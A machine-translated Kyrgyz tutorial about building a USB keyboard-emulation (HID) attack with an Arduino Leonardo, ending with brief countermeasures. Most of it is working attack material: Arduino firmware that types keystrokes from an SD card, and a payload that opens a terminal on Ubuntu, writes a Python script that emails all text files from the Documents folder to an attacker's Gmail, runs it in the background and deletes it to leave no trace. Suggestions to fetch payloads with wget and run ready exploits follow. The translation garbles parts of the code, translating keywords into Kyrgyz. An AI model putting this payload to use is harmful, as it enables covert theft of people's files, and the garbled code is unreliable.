Мазмуну:

Arduino Keyboard Exploit Demo (HID) жана алдын алуу: 4 кадам (сүрөттөр менен)
Arduino Keyboard Exploit Demo (HID) жана алдын алуу: 4 кадам (сүрөттөр менен)

Video: Arduino Keyboard Exploit Demo (HID) жана алдын алуу: 4 кадам (сүрөттөр менен)

Video: Arduino Keyboard Exploit Demo (HID) жана алдын алуу: 4 кадам (сүрөттөр менен)
Video: Веб-программирование – информатика для руководителей бизнеса 2016 2024, Ноябрь
Anonim
Image
Image
Түзмөктү куруу
Түзмөктү куруу

Бул долбоордо биз HID (humain интерфейси) аркылуу мүмкүн болгон USB чабуулун окшоштуруу үчүн arduino leonardo колдонобуз.

Мен бул окуу куралын хакерлерге жардам берүү үчүн эмес, сизге чыныгы коркунучтарды көрсөтүү үчүн жана өзүңүздү бул коркунучтардан кантип коргоо керектиги үчүн түздүм. Бул түзмөк хакерлер үчүн кандайдыр бир платформада колдонула турган түзмөк эмес, бул деталдуу түшүнүктүн далили.

Биз төмөнкүлөрдү үйрөнөбүз:

- клавиатураны тууроо үчүн ардуино Леонардону кантип колдонуу керек

- SD картадан маалыматтарды кантип окуу керек

- файлдарды скандоочу жана аларга электрондук кат жөнөтүүчү питон скриптин кантип түзүү керек

- өзүңүздү USB хакердик түзүлүштөрдөн кантип коргоо керек

1 -кадам: материалдар

Бөлүктөр:

1. Ардуино Леонардо

2. микро USB карт окугуч

3. бир нече ГБ SD карта

4. ушул сыяктуу баскычтар (VCC, Жер жана сигнал)

5. ургаачы-эркек жана ургаачы-ургаачы кабельдер

6. USB кабелине микро USB

2 -кадам: Түзмөктү куруу

Түзмөктү куруу
Түзмөктү куруу

Курулуштун инструкциясынан мурун иштөө принцибин карап көрөлү:

Ардуино Леонардо өзүн адамдык интерфейс (HID) сыяктуу алып жүрө алат, ошондуктан чычкан менен клавиатураны туурай алат. Биз бул мүмкүнчүлүктү терминалды ачуу үчүн колдонобуз (UBUNTU linuxта) жана колдонуучунун үй папкасынын ичиндеги /Документтер папкасына.txt файлдарын көчүрүп, бирөөгө электрондук почта аркылуу жөнөтө турган кичинекей скрипт жазабыз. Көбүрөөк маалымат алгыңыз келсе, кийинки кадамды текшериңиз.

Бул демо түзмөк болгондуктан, нерселер чындыгында жөнөкөй, биз эч нерсени lehим кылбайбыз.

Курулуш көрсөтмөлөрү

Баштоодон мурун, тиркелген файлдарды текшериңиз, мен фризинг схемаларын жана бардык керектүү файлдарды тиркеп койдум

1. Компоненттерди чогултуңуз:

* микро USB кабелин arduino'го сайыңыз

* баскычты arduino менен туташтырыңыз (жерге, VC жана D8ге чыгуу модулу)

* Картаны окуу куралын arduino менен туташтырыңыз (ICSP аталышын колдонуу менен). Ардуино Леонардодо ICSPтин башы санарип казыктарга туташкан эмес, андыктан картаны окурманды ICSPдин башына туташтыруу керек. ICSPтин кээ бир сүрөттөрүн бул жерден таба аласыз: https://learn.sparkfun.com/tutorials/installing-an…. SS пинин санарип пинге 10 туташтырыңыз

2. arduino кодун алыңыз, githubдагы менин arduino репозиторийимди клондоштурсаңыз болот: https://github.com/danionescu0/arduino жана долбоорлорго өтүңүз/keyboard_exploit же аны төмөндөн алыңыз:

#"Keyboard.h" кошуу

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Уйку::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Карта ишке ашпай калды, же жок!"); кайтуу; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Жүктөлгөн!"); кечигүү (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Көрсөтүлгөн файлдын аты SD картада жок, filenameOnCard текшериңиз!"); } Сап сабы; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (сап); sendToKeyboard (сызык); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); кайтуу; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (сызык); pressEnter (); кайтуу; } Serial.println ("Буйрук:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (command); Keyboard.press (getCommandCode (буйрук)); кечиктирүү (delayBetweenCommands); }} Keyboard.releaseAll (); кечиктирүү (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); кечигүү (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char коду = textCharacters [0]; код = (текст == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: код; код = (текст == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: код; код = (текст == "KEY_LEFT_ALT")? KEY_LEFT_ALT: код; код = (текст == "KEY_UP_ARROW")? KEY_UP_ARROW: код; код = (текст == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: код; код = (текст == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: код; код = (текст == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: код; код = (текст == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: код; код = (текст == "KEY_BACKSPACE")? KEY_BACKSPACE: код; код = (текст == "KEY_TAB")? KEY_TAB: код; код = (текст == "KEY_RETURN")? KEY_RETURN: код; код = (текст == "KEY_ESC")? KEY_ESC: код; код = (текст == "KEY_INSERT")? KEY_INSERT: код; код = (текст == "KEY_DELETE")? KEY_DELETE: код; код = (текст == "KEY_PAGE_UP")? KEY_PAGE_UP: код; код = (текст == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: код; код = (текст == "KEY_HOME")? KEY_HOME: код; код = (текст == "KEY_END")? KEY_END: код; код = (текст == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: код; код = (текст == "KEY_F1")? KEY_F1: код; код = (текст == "KEY_F2")? KEY_F2: код; код = (текст == "KEY_F3")? KEY_F3: код; код = (текст == "KEY_F4")? KEY_F4: код; код = (текст == "KEY_F5")? KEY_F5: код; код = (текст == "KEY_F6")? KEY_F6: код; код = (текст == "KEY_F7")? KEY_F7: код; код = (текст == "KEY_F8")? KEY_F8: код; код = (текст == "KEY_F9")? KEY_F9: код; код = (текст == "KEY_F10")? KEY_F10: код; код = (текст == "KEY_F11")? KEY_F1: код; код = (текст == "KEY_F12")? KEY_F2: код;

кайтаруу коду;

}

3. Ардуиного кодду жүктөңүз, 9600 baud ылдамдыгын, сериялык портту жана arduino leonardo тандаңыз

4. SD картаны FAT16 же FAT32 аркылуу форматтаңыз

5. Эгерде сиз github репонун жогору жактан клондогон болсоңуз, анда картадагы hack.txt файлын көчүрүңүз, эгерде андай файл жок болсо:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT smtplib import glob, os.path импорттун кеңейтүүчүсү os.pai. MIMEMultipart e -mailден MIMEMultipart. MIMEBase импорттук почта. MIMEText импорттук MIMEText. Utils COMMASPACE импорттоо, электрондук почта импорттоо коддоочуларынан формат

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Документтер'

subject = body = 'Файлдар бузулган компьютерден'

header = 'Кимге: {0} nКимден: {1} nТема: {2} n'.формат (дарекке, smtp_user, тема)

def sendMail (темага, темага, текстке, файлдарга = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (текст)) файлдардагы файл үчүн: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'тиркеме; filename = " % s"' % os.path.basename (файл)) msg.attach (бөлүгү)

сервер = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([дарекке], тема, дене, glob.glob ("{0}/{1}/*. txt".формат (жайылтуучу ("~"), скан_документтер_жайгашуусу)))

Уйку:: 50 Command:: KEY_ESC Уйку:: 100: x Уйку:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Төмөнкү саптарды түзөтүңүз:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'кабыл алуучунун дареги'

Жана электрондук почта даректериңиз менен алмаштырыңыз

7. Картаны алып салып, arduino картты окуучуга салыңыз

3 -кадам: Бул деталдарда кантип иштейт

Чабуул кантип иштейт:

1. Кнопка басылганда, Леонардо SD картты окуу куралын колдонуп SD картаны окуйт. Ачкычтар жана баскычтардын айкалышын камтыган атайын файл картада болот. Файлдын аты "hack.txt".

Файл чийки текстти камтышы мүмкүн жана ал клавиатурага кандай болсо ошондой өтөт.

Ошондой эле ал "Sleep::" жана "Command::" сыяктуу атайын буйруктарды камтышы мүмкүн.

Сызык сыяктуу:

Уйку:: 200 200 мс уйку дегенди билдирет

Сызык сыяктуу:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t дегенди билдирет ctrl сол басылган, сол alt басылган, t басылган жана бардыгы бошотулган

Бардык атайын ачкычтарды бул жерден текшере аласыз:

2. Леонардо сап -сап окуп, командаларды чечмелеп, клавиатурадагы баскычтарды туурайт. "Hack.txt" файлы төмөнкүлөрдү аткарган баскычтардын айкалышын камтыйт (UBUNTU linux үчүн):

а. терминалды ачат (CTRL + ALT + T)

б. vi аркылуу жаратуу үчүн python файлын ачат ("vi hack.py" деп жазат)

в. документтердин үй папкасындагы бардык текст файлдарын чогултуп, аларды белгиленген Gmail дарегине жөнөтүүчү питон скриптин жазат

г. файлды фондо иштетет ("nohup python hack.py &")

д. файлды жок кылат (rm -rf hack.py)

f. терминалды жабат (ALT + F4)

Бул нерсенин баары бир нече секундда иштейт жана из калтырбайт.

Күчөтүүлөр жана мүчүлүштүктөрдү оңдоо

* Сиз терминал ачкандан кийин python файлын жазып жатканымды байкагандырсыз. Мунун эң жакшы жолу - аны бир жерге жайгаштыруу жана "wget some_url" буйругу менен жүктөө, андан кийин анын атын hack.py деп өзгөртүү.

* Ошондой эле биз максаттуу иштетүү тутуму үчүн даяр эксплайтты жүктөп же иштете алабыз

* Wi -Fi модулга кошулушу мүмкүн жана хакерлер WIFI аркылуу жүктөлүшү мүмкүн

* сиз arduino micro колдоно аласыз (бул кичине) жана ага эксплуатация кодун киргизе аласыз (аны кичирейтүү үчүн)

Чектөөлөр

1. Симуляцияланган түзмөктө (клавиатура жана чычкан) эч кандай кайтарым байланыш жок болгондуктан, биз буйрук бергенден кийин эмне болорун билбейбиз, бул биз кечигүүнү колдонуубуз керек дегенди билдирет. Мисалы, мен терминалды ачуу буйругун берип жатам, бирок ал качан ачылаарын билбейм, андыктан кийин киргизилген символдор жоголуп кетпеши үчүн, мен каалагандай кечигүүнү белгилешим керек.

2. Биз USB портуна же бир нерсени орнотууга уруксатка ээ болбоо сыяктуу уруксат көйгөйлөрүнө туш болушубуз мүмкүн

3. Терүү ылдамдыгы Леонардодо анча чоң эмес

4. Бир гана максаттуу операциялык системада иштейт (биздин учурда UBUNTU linux)

Кийинки кадамда, бул чектөөлөрдү колдонуп, компьютерибиздин бузулушуна жол бербөө үчүн аракет кылабыз

4 -кадам: каршы чаралар

1. USB портторун өчүрүү

-терезелер үчүн бул окуу куралын текшере аласыз:

2. Ак тизмеге USB түзмөктөрү:

- терезелер үчүн:

2. Сиз жокто компьютериңизди кулпулаңыз

3. Тамыр катары кирбеңиз (бир нерсени орнотуу үчүн сырсөздөрдү талап кылыңыз)

4. Өзүңүздү жаңыртып туруңуз (автоматтык жаңыртуулар)

Сунушталууда: